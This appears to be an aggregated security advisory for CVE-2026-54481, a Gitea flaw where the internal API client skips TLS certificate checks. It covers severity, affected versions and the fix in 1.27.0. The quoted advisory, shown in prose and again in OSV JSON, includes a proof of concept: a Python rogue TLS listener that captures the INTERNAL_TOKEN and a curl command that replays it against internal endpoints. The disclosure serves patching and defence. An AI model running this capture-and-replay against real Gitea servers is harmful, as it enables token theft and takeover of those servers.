CVE-2026-54481: Gitea Internal API HTTP Client Hardcodes Vulnerability

HIGH
Advisory Identifier: GHSA-94v3-77j7-vm48
CVSS 7.5
CWE-295
Published
Advisory Summary

CVE-2026-54481 is a HIGH (CVSS 7.5) internal api http client hardcodes vulnerability (CWE-295: Improper Certificate Validation) affecting Gitea libraries in the Go ecosystem. The issue involves internal api http client hardcodes insecureskipverify:true with no config override. Remediation is available by upgrading affected packages to version 1.27.0.

CVE-2026-54481 at a Glance

CVE Identifier CVE-2026-54481
GHSA Identifier GHSA-94v3-77j7-vm48
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-295: Improper Certificate Validation
Affected Product Gitea
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Adjacent (AV:A)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-54481

To remediate this vulnerability, upgrade all affected Gitea dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

code.gitea.io/gitea fixed: 1.27.0
Upgrade code.gitea.io/gitea to 1.27.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for code.gitea.io/gitea

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54481, inspect your project dependencies for Gitea:

inspect dependencies for code.gitea.io/gitea

Analyze the terminal output to locate any version of Gitea in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.27.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-295: Improper Certificate Validation, where the product does not validate, or incorrectly validates, a certificate. In Gitea, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

Summary Gitea's internal API HTTP client (modules/private/internal.go) hardcodes TLSClientConfig.InsecureSkipVerify = true with no configuration override. It is the only outbound TLS client in the codebase that cannot be made to verify its peer's certificate — webhook, migrations, MinIO, LDAP, SMTP, Redis and incoming-mail all expose a secure-by-default SkipVerify toggle, this one does not. When an operator configures internal communication over HTTPS to a non-loopback target (LOCAL_ROOT_URL=https://<host>/ in a split-host / multi-pod topology), the gitea serv / gitea hook subprocess that calls the internal API will accept ANY TLS certificate. An attacker with on-path position on that internal segment can MITM the connection and capture the static high-privilege INTERNAL_TOKEN, which is the sole authentication for every /api/internal/* endpoint (server shutdown/restart, SSH key authorization, git command execution, repo hooks, mail send, runner-token generation). Severity is deployment-dependent: High for split-host HTTPS deployments; Low/Informational for the default single-host / unix-socket / HTTP-loopback deployment, where the call is loopback and not interceptable without local access (which already exposes the token directly). This report is rated for the affected configuration and the underlying defense-in-depth defect. Details Affected component: modules/private/internal.go The internal API transport hardcodes certificate-verification bypass: var internalAPITransport = sync.OnceValue(func() http.RoundTripper { return &http.Transport{ DialContext: dialContextInternalAPI, TLSClientConfig: &tls.Config{ InsecureSkipVerify: true, // hardcoded, no config gate ServerName: setting.Domain, // SNI only; NOT used for validation while skip=true }, } }) Because InsecureSkipVerify is true, ServerName is used only for SNI and any certificate (any CN, self-signed) is accepted; there is no accidental safety net. Verified exploit chain (read against main @ aab9737651, 2026-06-13): 1. TLS path is reached whenever LOCAL_ROOT_URL scheme is https — http.Transport applies TLSClientConfig only for https requests. (modules/private/internal.go:56-64) 2. The dialer connects to the real host from the URL, with no loopback pinning: dialContextInternalAPI -> d.DialContext(ctx, network, address), where address is the host:port from LOCAL_ROOT_URL. (modules/private/internal.go:37-54) 3. The client runs as a SEPARATE process, so a real socket is used and can cross hosts: - Built-in and external SSH both exec "gitea serv key-N" (modules/ssh/ssh.go:109,123; models/asymkey/ssh_key_authorized_keys.go via authorized_keys command=). - Git hooks exec "gitea hook ...". These subprocesses call back to LOCAL_ROOT_URL. Same host => loopback; split host => network hop. 4. INTERNAL_TOKEN is sent on every internal request as a static bearer header: Header("X-Gitea-Internal-Auth", "Bearer "+setting.InternalToken) (modules/private/internal.go:80) 5. A captured token is accepted and is the SOLE gate for all internal routes: authInternal() does subtle.ConstantTimeCompare(header, setting.InternalToken) and nothing else. (routers/private/internal.go:24-42). The server code even comments: "// TODO: use something like JWT or HMAC to avoid passing the token in the clear" (routers/private/internal.go:32) 6. Amplifier: internal routes are mounted on the main public listener, not a loopback-only socket: r.Mount("/api/internal", private.Routes()) (routers/init.go:185) so a stolen token is replayable by anyone who can reach the Gitea HTTP port. Inconsistency / root cause: every other outbound TLS client is configurable and secure-by-default (services/webhook/deliver.go Webhook.SkipTLSVerify; services/migrations/http_client.go Migrations.SkipTLSVerify; modules/storage/minio.go MINIO_INSECURE_SKIP_VERIFY; LDAP/SMTP SkipVerify; incoming-mail SkipTLSVerify). The internal API client alone is hardcoded insecure with no opt-out. The InsecureSkipVerify line has been present since 2017 (#1471), so all releases are affected. PoC Goal: capture the live INTERNAL_TOKEN from a real Gitea subprocess call and replay it. Note: a self-contained TLS test (e.g. Python ssl.CERT_NONE accepting a self-signed cert) only restates the flag's definition and does NOT involve Gitea. The steps below exercise the real path. 1. Configure Gitea so the internal client uses HTTPS to an interceptable target: [server] PROTOCOL = https LOCAL_ROOT_URL = https://127.0.0.1:8443/ 2. Run a rogue TLS listener on 127.0.0.1:8443 presenting ANY self-signed certificate, logging the X-Gitea-Internal-Auth request header. Minimal handler: # python3 rogue.py import http.server, ssl, subprocess subprocess.run(["openssl","req","-x509","-newkey","rsa:2048","-keyout","k.pem","-out","c.pem", "-days","1","-nodes","-subj","/CN=127.0.0.1"], check=True) class H(http.server.BaseHTTPRequestHandler): def handle_one(self): pass def do_GET(self): self._h() def do_POST(self): self._h() def _h(self): a = self.headers.get("X-Gitea-Internal-Auth","") if "Bearer" in a: print("[!] CAPTURED TOKEN:", a.replace("Bearer ","")) self.send_response(200); self.end_headers(); self.wfile.write(b'{"err":"","user_msg":""}') def log_message(self,*a): pass s = http.server.HTTPServer(("127.0.0.1",8443), H) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER); ctx.load_cert_chain("c.pem","k.pem") s.socket = ctx.wrap_socket(s.socket, server_side=True) s.serve_forever() 3. Trigger a real internal call through a subprocess path: perform an SSH git operation against the instance (e.g. `git clone ssh://git@<host>:<port>/owner/repo.git`). sshd/built-in SSH execs `gitea serv`, which issues the internal API request to LOCAL_ROOT_URL and presents the token to the rogue listener. 4. Observe at the listener: [!] CAPTURED TOKEN: <INTERNAL_TOKEN> 5. Confirm the token is privileged by replaying it directly against the Gitea HTTP port: curl -k https://<gitea-host>:<port>/api/internal/manager/processes \ -H "X-Gitea-Internal-Auth: Bearer <INTERNAL_TOKEN>" A 200 with process data confirms full internal-API access (the same token also reaches /api/internal/manager/shutdown, /ssh/authorized_keys, /serv/command/..., etc.). In a production split-host deployment, step 2 is replaced by on-path interception (ARP spoofing on the shared segment, a malicious sidecar/pod, or DNS/route manipulation) rather than a localhost listener; the client behaviour (trusting the rogue cert and sending the token) is identical. Impact Type: CWE-295 Improper Certificate Validation -> man-in-the-middle -> theft of the static high-privilege INTERNAL_TOKEN -> full internal-API compromise. Who is impacted: operators who run internal communication over HTTPS to a non-loopback target (split-host / multi-pod / separate SSH or hook host with LOCAL_ROOT_URL=https://<remote>/) on a network segment where an attacker can obtain on-path position. With the token, an attacker can: shut down / restart the server (DoS), authorize SSH keys, execute git serv commands, control pre/post/proc-receive hooks, change default branches, restore repos, send mail as Gitea, and generate Actions runner tokens. NOT practically impacted: default single-host, unix-socket (http+unix), or HTTP-loopback deployments, where the internal call is loopback and not interceptable without local code execution (which already exposes INTERNAL_TOKEN from app.ini, making MITM unnecessary).

CVE-2026-54481 Affected Gitea Versions

1 component(s)
Fixed Versions:
1.27.0
Product / Package Ecosystem Affected Versions Fixed Version
code.gitea.io/gitea
Go
< 1.27.0
1.27.0

References

Frequently Asked Questions

What is CVE-2026-54481?
CVE-2026-54481 is a security vulnerability in Gitea involving Internal API HTTP client hardcodes InsecureSkipVerify:true with no config override under CWE-295: Improper Certificate Validation.
Which Gitea versions are affected?
Affected versions include releases prior to 1.27.0 across affected packages: code.gitea.io/gitea.
What version fixes CVE-2026-54481?
Upgrading to 1.27.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is code.gitea.io/gitea affected?
Yes, code.gitea.io/gitea is affected in releases prior to 1.27.0. Upgrade your dependency to 1.27.0 or later.
What is the CVSS score of CVE-2026-54481?
CVE-2026-54481 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-54481?
CVE-2026-54481 is classified under CWE-295: Improper Certificate Validation (The product does not validate, or incorrectly validates, a certificate.).
How can I check Go dependencies for CVE-2026-54481?
Run the dependency tree command: 'inspect dependencies for code.gitea.io/gitea'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-94v3-77j7-vm48",
  "modified" : "2026-07-21T20:41:25Z",
  "published" : "2026-07-21T20:41:25Z",
  "aliases" : [ "CVE-2026-54481" ],
  "summary" : "Gitea: Internal API HTTP client hardcodes InsecureSkipVerify:true with no config override",
  "details" : "Summary\n\nGitea's internal API HTTP client (modules/private/internal.go) hardcodes\nTLSClientConfig.InsecureSkipVerify = true with no configuration override. It is the only\noutbound TLS client in the codebase that cannot be made to verify its peer's certificate —\nwebhook, migrations, MinIO, LDAP, SMTP, Redis and incoming-mail all expose a secure-by-default\nSkipVerify toggle, this one does not.\n\nWhen an operator configures internal communication over HTTPS to a non-loopback target\n(LOCAL_ROOT_URL=https://<host>/ in a split-host / multi-pod topology), the gitea serv / gitea hook\nsubprocess that calls the internal API will accept ANY TLS certificate. An attacker with on-path\nposition on that internal segment can MITM the connection and capture the static high-privilege\nINTERNAL_TOKEN, which is the sole authentication for every /api/internal/* endpoint (server\nshutdown/restart, SSH key authorization, git command execution, repo hooks, mail send, runner-token\ngeneration).\n\nSeverity is deployment-dependent: High for split-host HTTPS deployments; Low/Informational for the\ndefault single-host / unix-socket / HTTP-loopback deployment, where the call is loopback and not\ninterceptable without local access (which already exposes the token directly). This report is\nrated for the affected configuration and the underlying defense-in-depth defect.\nDetails\n\nAffected component: modules/private/internal.go\n\nThe internal API transport hardcodes certificate-verification bypass:\n\n    var internalAPITransport = sync.OnceValue(func() http.RoundTripper {\n        return &http.Transport{\n            DialContext: dialContextInternalAPI,\n            TLSClientConfig: &tls.Config{\n                InsecureSkipVerify: true,            // hardcoded, no config gate\n                ServerName:         setting.Domain,  // SNI only; NOT used for validation while skip=true\n            },\n        }\n    })\n\nBecause InsecureSkipVerify is true, ServerName is used only for SNI and any certificate (any CN,\nself-signed) is accepted; there is no accidental safety net.\n\nVerified exploit chain (read against main @ aab9737651, 2026-06-13):\n\n1. TLS path is reached whenever LOCAL_ROOT_URL scheme is https — http.Transport applies\n   TLSClientConfig only for https requests. (modules/private/internal.go:56-64)\n\n2. The dialer connects to the real host from the URL, with no loopback pinning:\n   dialContextInternalAPI -> d.DialContext(ctx, network, address), where address is the host:port\n   from LOCAL_ROOT_URL. (modules/private/internal.go:37-54)\n\n3. The client runs as a SEPARATE process, so a real socket is used and can cross hosts:\n   - Built-in and external SSH both exec \"gitea serv key-N\" (modules/ssh/ssh.go:109,123;\n     models/asymkey/ssh_key_authorized_keys.go via authorized_keys command=).\n   - Git hooks exec \"gitea hook ...\".\n   These subprocesses call back to LOCAL_ROOT_URL. Same host => loopback; split host => network hop.\n\n4. INTERNAL_TOKEN is sent on every internal request as a static bearer header:\n   Header(\"X-Gitea-Internal-Auth\", \"Bearer \"+setting.InternalToken)  (modules/private/internal.go:80)\n\n5. A captured token is accepted and is the SOLE gate for all internal routes:\n   authInternal() does subtle.ConstantTimeCompare(header, setting.InternalToken) and nothing else.\n   (routers/private/internal.go:24-42). The server code even comments:\n   \"// TODO: use something like JWT or HMAC to avoid passing the token in the clear\"\n   (routers/private/internal.go:32)\n\n6. Amplifier: internal routes are mounted on the main public listener, not a loopback-only socket:\n   r.Mount(\"/api/internal\", private.Routes())  (routers/init.go:185)\n   so a stolen token is replayable by anyone who can reach the Gitea HTTP port.\n\nInconsistency / root cause: every other outbound TLS client is configurable and secure-by-default\n(services/webhook/deliver.go Webhook.SkipTLSVerify; services/migrations/http_client.go\nMigrations.SkipTLSVerify; modules/storage/minio.go MINIO_INSECURE_SKIP_VERIFY; LDAP/SMTP SkipVerify;\nincoming-mail SkipTLSVerify). The internal API client alone is hardcoded insecure with no opt-out.\nThe InsecureSkipVerify line has been present since 2017 (#1471), so all releases are affected.\nPoC\n\nGoal: capture the live INTERNAL_TOKEN from a real Gitea subprocess call and replay it.\n\nNote: a self-contained TLS test (e.g. Python ssl.CERT_NONE accepting a self-signed cert) only\nrestates the flag's definition and does NOT involve Gitea. The steps below exercise the real path.\n\n1. Configure Gitea so the internal client uses HTTPS to an interceptable target:\n     [server]\n     PROTOCOL       = https\n     LOCAL_ROOT_URL = https://127.0.0.1:8443/\n\n2. Run a rogue TLS listener on 127.0.0.1:8443 presenting ANY self-signed certificate, logging the\n   X-Gitea-Internal-Auth request header. Minimal handler:\n\n     # python3 rogue.py\n     import http.server, ssl, subprocess\n     subprocess.run([\"openssl\",\"req\",\"-x509\",\"-newkey\",\"rsa:2048\",\"-keyout\",\"k.pem\",\"-out\",\"c.pem\",\n                     \"-days\",\"1\",\"-nodes\",\"-subj\",\"/CN=127.0.0.1\"], check=True)\n     class H(http.server.BaseHTTPRequestHandler):\n         def handle_one(self):\n             pass\n         def do_GET(self):  self._h()\n         def do_POST(self): self._h()\n         def _h(self):\n             a = self.headers.get(\"X-Gitea-Internal-Auth\",\"\")\n             if \"Bearer\" in a: print(\"[!] CAPTURED TOKEN:\", a.replace(\"Bearer \",\"\"))\n             self.send_response(200); self.end_headers(); self.wfile.write(b'{\"err\":\"\",\"user_msg\":\"\"}')\n         def log_message(self,*a): pass\n     s = http.server.HTTPServer((\"127.0.0.1\",8443), H)\n     ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER); ctx.load_cert_chain(\"c.pem\",\"k.pem\")\n     s.socket = ctx.wrap_socket(s.socket, server_side=True)\n     s.serve_forever()\n\n3. Trigger a real internal call through a subprocess path: perform an SSH git operation against the\n   instance (e.g. `git clone ssh://git@<host>:<port>/owner/repo.git`). sshd/built-in SSH execs\n   `gitea serv`, which issues the internal API request to LOCAL_ROOT_URL and presents the token to\n   the rogue listener.\n\n4. Observe at the listener:\n     [!] CAPTURED TOKEN: <INTERNAL_TOKEN>\n\n5. Confirm the token is privileged by replaying it directly against the Gitea HTTP port:\n     curl -k https://<gitea-host>:<port>/api/internal/manager/processes \\\n          -H \"X-Gitea-Internal-Auth: Bearer <INTERNAL_TOKEN>\"\n   A 200 with process data confirms full internal-API access (the same token also reaches\n   /api/internal/manager/shutdown, /ssh/authorized_keys, /serv/command/..., etc.).\n\nIn a production split-host deployment, step 2 is replaced by on-path interception (ARP spoofing on\nthe shared segment, a malicious sidecar/pod, or DNS/route manipulation) rather than a localhost\nlistener; the client behaviour (trusting the rogue cert and sending the token) is identical.\nImpact\n\nType: CWE-295 Improper Certificate Validation -> man-in-the-middle -> theft of the static\nhigh-privilege INTERNAL_TOKEN -> full internal-API compromise.\n\nWho is impacted: operators who run internal communication over HTTPS to a non-loopback target\n(split-host / multi-pod / separate SSH or hook host with LOCAL_ROOT_URL=https://<remote>/) on a\nnetwork segment where an attacker can obtain on-path position. With the token, an attacker can:\nshut down / restart the server (DoS), authorize SSH keys, execute git serv commands, control\npre/post/proc-receive hooks, change default branches, restore repos, send mail as Gitea, and\ngenerate Actions runner tokens.\n\nNOT practically impacted: default single-host, unix-socket (http+unix), or HTTP-loopback\ndeployments, where the internal call is loopback and not interceptable without local code execution\n(which already exposes INTERNAL_TOKEN from app.ini, making MITM unnecessary).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.gitea.io/gitea"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.27.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/security/advisories/GHSA-94v3-77j7-vm48"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-gitea/gitea"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-295" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-21T20:41:25Z",
    "nvd_published_at" : null
  }
}